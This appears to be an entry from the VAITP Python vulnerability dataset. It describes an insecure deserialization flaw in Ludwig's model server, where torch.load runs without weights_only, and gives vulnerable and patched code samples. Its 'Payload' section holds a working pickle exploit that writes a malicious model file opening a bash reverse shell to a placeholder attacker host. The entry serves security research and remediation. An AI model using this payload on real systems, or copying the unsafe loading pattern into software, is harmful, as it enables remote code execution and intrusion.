VAITP Dataset

← Back to the dataset

CVE-2026-31238

Insecure deserialization in Ludwig's model server allows remote code execution.

  • CVSS 9.8
  • CWE-502
  • Input Validation and Sanitization
  • Local

The Ludwig framework thru 0.10.4 is vulnerable to insecure deserialization (CWE-502) in its model serving component. When starting a model server with the ludwig serve command, the framework loads model weight files using torch.load() without enabling the security-restrictive weights_only=True parameter. This default behavior allows the deserialization of arbitrary Python objects via the pickle module. An attacker can exploit this by providing a maliciously crafted PyTorch model file, leading to arbitrary code execution on the system hosting the Ludwig model server.

CVSS base score
9.8
Published
2026-05-12
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Timing/Serialization
Code defect classification
Serialization Issues
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Local
Impact
Arbitrary Code Execution
Affected component
Ludwig
Fixed by upgrading
Yes

Solution

Upgrade Ludwig to version 0.10.5 or later.

Vulnerable code sample

import torch

def load_model_for_serving(model_path: str):
    """
    Simplified representation of the vulnerable model loading logic.
    This function loads a model file from the given path.
    """
    # The vulnerability is in the line below. By default, torch.load uses
    # Python's pickle module, which is not secure against maliciously
    # crafted files. The fix is to add `weights_only=True`.
    model = torch.load(model_path)
    
    # The application would then use the loaded model object.
    return model

Patched code sample

import torch
import os

def load_model_safely(model_path: str):
    """
    Loads model weights from a file, demonstrating the fix for
    insecure deserialization.

    The vulnerability existed when torch.load was called without the
    weights_only=True parameter, allowing a malicious file to execute
    arbitrary code.
    """
    # Vulnerable call (for demonstration purposes):
    # state_dict = torch.load(model_path)

    # Fixed call:
    # By setting weights_only=True, torch.load will safely only load tensors
    # and raise an error if the file contains any other Python objects,
    # mitigating the risk of arbitrary code execution.
    if not os.path.exists(model_path):
        raise FileNotFoundError(f"Model file not found at {model_path}")
        
    state_dict = torch.load(model_path, weights_only=True)

    return state_dict

# Example usage:
# This part would typically be part of the Ludwig model server startup logic.
# To run this example, you would need a valid PyTorch model weights file (.pt or .pth).
#
# model_file = "path/to/your/model.pt"
# try:
#     print(f"Safely loading model weights from {model_file}...")
#     weights = load_model_safely(model_file)
#     print("Model weights loaded successfully.")
#     # The server would then proceed to load these weights into a model.
# except (FileNotFoundError, RuntimeError) as e:
#     print(f"Error loading model: {e}")

Payload

import torch
import os

class Exploit:
    def __reduce__(self):
        # Replace ATTACKER_IP and ATTACKER_PORT with the attacker's listening IP and port.
        command = "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1'"
        return (os.system, (command,))

# This script generates the malicious model file.
# The victim server would then load this file, triggering the exploit.
torch.save(Exploit(), 'malicious_model.pt')

Cite this entry

@misc{vaitp:cve202631238,
  title        = {{Insecure deserialization in Ludwig's model server allows remote code execution.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-31238},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-31238/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::